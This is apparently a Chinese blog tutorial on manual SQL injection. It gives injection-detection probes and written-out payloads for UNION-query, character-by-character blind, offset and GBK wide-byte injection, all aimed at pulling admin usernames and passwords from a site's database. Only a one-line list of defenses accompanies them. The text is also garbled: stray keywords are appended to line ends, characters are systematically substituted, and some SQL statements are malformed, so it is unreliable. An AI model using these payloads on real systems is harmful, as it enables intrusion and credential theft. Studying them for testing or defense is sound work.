基础篇——SQL注入(手工注入)

SQL注入

  当咱们学习一个知识时咱们要考虑几个问题:是什么?怎么作?而后进行有条理的学习web

是什么?

 

  首先咱们要明白SQL注入是什么:sql

    sql——结构化查询语言shell

    SQL注入就是在网站url中插入sql语句,执行sql命令,获取数据库内容,达到欺骗服务器的目的。数据库

  SQL注入的原理:普通用户提交sql查询语句,网站没有对用户输入进行过滤致使执行用户命令服务器

危害及防御

  危害:SQL注入可使入侵者获取后台帐号密码、拖库、进入后台破坏、拿shell工具

  防御:设置网站黑名单、限制敏感词汇、对用户输入进行转义、将参数语句化学习

怎么作?

  明白什么时SQL注入后咱们就要学习如何注入。测试

  注入的前提是要找到注入漏洞,一般判断是否存在SQL注入漏洞的方法有:网站

    一、  ‘  单引号判断编码

    二、 and 1=1 1=2  判断

  找到注入漏洞后就能够进行SQL注入了,注入方法分为不少种:

    联合查询法

    逐字猜解法

    偏移注入法

    宽字节注入

    时间、布尔盲注

    报错注入

  进行注入可使用手工和工具,手工注入方法:

    一、联合查询法

      首先判断存在注入漏洞后:

        一、使用order by

        二、使用联合查询语句:union select nums,nums(字段数) from admin(数据库表名)

                         

        三、根据返回内容进一步猜解列名:帐号密码

                                                                           

 

    二、逐字猜解法:

      逐字猜解不须要进行猜解字段,直接使用逐字猜解语句猜解库名、列名以及帐号密码

      逐字猜解语句:

             and exists (select * from 表名)

                  and exists (select  列名  from 表名)

                  and (select top 1 len(用户名) from admin ) =名字长度

                  and (select top 1 asc(mid用户名,1,1)from admin )=97  (判断第一位的ascll值)

             and (select top 1 asc(mid用户名,2,1)from admin )=97  (第二位)

      逐字猜解方法偏于繁琐,熟悉手工注入方式便可,在渗透测试过程当中仍是要讲究效率问题    

    三、偏移注入法:

      偏移注入属于没法猜解帐号密码后尝试的使用方法,注入结果带有一点运气的成分

      偏移注入语句:

        order by 猜解字段

        union select num,num,num from 表名

        union select num,num,* from admin 逐个递减字段数,当能够正常访问则证实admin表存在(递减字段数假设为x)个字段

        以后每次递减x个字段

        递减一个x后

        union select num * from(admin as ainner join admin as b on a.id=b.id)

        递减两个x后

        union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

        逐个递减直到所剩字段小于x后(不必定能够获得所要结果)

    四、宽字节注入法:

      何时使用宽字节呢?当web编码使用GBK时,能够将单引号转义则使用宽字节注入

      宽字节注入:%df (注入语句)%23

    五、报错注入,盲注则根据页面返回状况,返回时间进行注入

  以上即为经常使用的几种手工注入方式,若有错误请留言,博主及时更正!

相关文章
相关标签/搜索